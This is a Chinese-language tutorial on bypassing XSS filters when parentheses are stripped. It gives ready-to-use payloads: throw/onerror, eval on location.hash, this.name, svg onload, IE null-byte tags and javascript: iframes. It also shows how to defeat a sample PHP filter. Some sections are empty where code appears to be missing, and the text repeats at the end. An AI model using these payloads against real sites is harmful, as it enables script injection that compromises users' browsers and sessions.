XSS相关一些个人Tips(二)
字数 809 2025-08-26 22:11:40

XSS绕过技巧高级指南

圆括号被过滤时的绕过方法

当圆括号()被过滤时,仍有多种方法可以执行JavaScript代码:

1. 反引号替代法


  • 注意:反引号也可能被过滤

2. URL编码绕过


3. 字符串拼接法


4. 变量拼接技巧

a="%2"; b="8%"; c="9%"; d="29"; location=a+b+c+d;
// 拼接出"%289%29"即"()"的URL编码

Throw语句利用

当圆括号被过滤时,可以使用throw语句配合onerror事件处理程序:

<a onmouseover="javascript:window.onerror=alert;throw 1">
  • throw抛出异常
  • onerror捕获异常并执行alert

Location对象利用

1. Location属性概览

  • location.href - 完整URL
  • location.protocol - 协议部分
  • location.host - 主机名和端口
  • location.pathname - 路径部分
  • location.search - 查询字符串(?之后的部分)
  • location.hash - 锚部分(#之后的部分)

2. 利用location.search

<script>
a=location.search; // 获取查询字符串
alert(a[1]+a[2]) // 通过数组索引访问字符
</script>

URL示例:http://example.com?()

3. 利用location.hash

<script>
eval(location.hash.substr(1)) // 执行#后面的代码
</script>

URL示例:http://example.com#alert(1)

This关键字利用

1. 基本用法

<input value="" onfocus="alert(this.name)" name=alert(1)>
  • this.name返回input的name属性值

2. 结合函数

<svg onload="a(this);function a(){alert(1)}">

其他高级技巧

1. IE特定技巧

<script>
_=top; _["al"+"ert"](1)
</script>
  • 使用top, self, parent, frames, content, window等替代

2. IE8/IE9过滤器绕过

<%00script>alert(1)<%00/script>

3. 伪协议执行

<iframe src="javascript:alert(1)">

防御代码示例分析

<?php
header('X-XSS-Protection: 0');
$xss = isset($_GET['xss']) ? $_GET['xss'] : '';
$xss = str_replace(array("(", ")", "&", "\\", "<", ">", "'", "`"), '', $xss);
echo "";
?>

绕过方法:

  • 使用本文介绍的各种不需要圆括号的技术
  • 利用URL编码
  • 使用字符串拼接

总结

XSS绕过技术多种多样,关键在于:

  1. 理解过滤器的限制
  2. 掌握JavaScript的多种执行方式
  3. 灵活运用浏览器特性和DOM属性
  4. 善用编码和字符串操作绕过过滤

防御者应当采用多层次防御策略,而不仅仅是简单的字符串过滤。

XSS绕过技巧高级指南 圆括号被过滤时的绕过方法 当圆括号 () 被过滤时,仍有多种方法可以执行JavaScript代码: 1. 反引号替代法 注意:反引号也可能被过滤 2. URL编码绕过 3. 字符串拼接法 4. 变量拼接技巧 Throw语句利用 当圆括号被过滤时,可以使用 throw 语句配合 onerror 事件处理程序: throw 抛出异常 onerror 捕获异常并执行 alert Location对象利用 1. Location属性概览 location.href - 完整URL location.protocol - 协议部分 location.host - 主机名和端口 location.pathname - 路径部分 location.search - 查询字符串(?之后的部分) location.hash - 锚部分(#之后的部分) 2. 利用location.search URL示例: http://example.com?() 3. 利用location.hash URL示例: http://example.com#alert(1) This关键字利用 1. 基本用法 this.name 返回input的name属性值 2. 结合函数 其他高级技巧 1. IE特定技巧 使用 top , self , parent , frames , content , window 等替代 2. IE8/IE9过滤器绕过 3. 伪协议执行 防御代码示例分析 绕过方法: 使用本文介绍的各种不需要圆括号的技术 利用URL编码 使用字符串拼接 总结 XSS绕过技术多种多样,关键在于: 理解过滤器的限制 掌握JavaScript的多种执行方式 灵活运用浏览器特性和DOM属性 善用编码和字符串操作绕过过滤 防御者应当采用多层次防御策略,而不仅仅是简单的字符串过滤。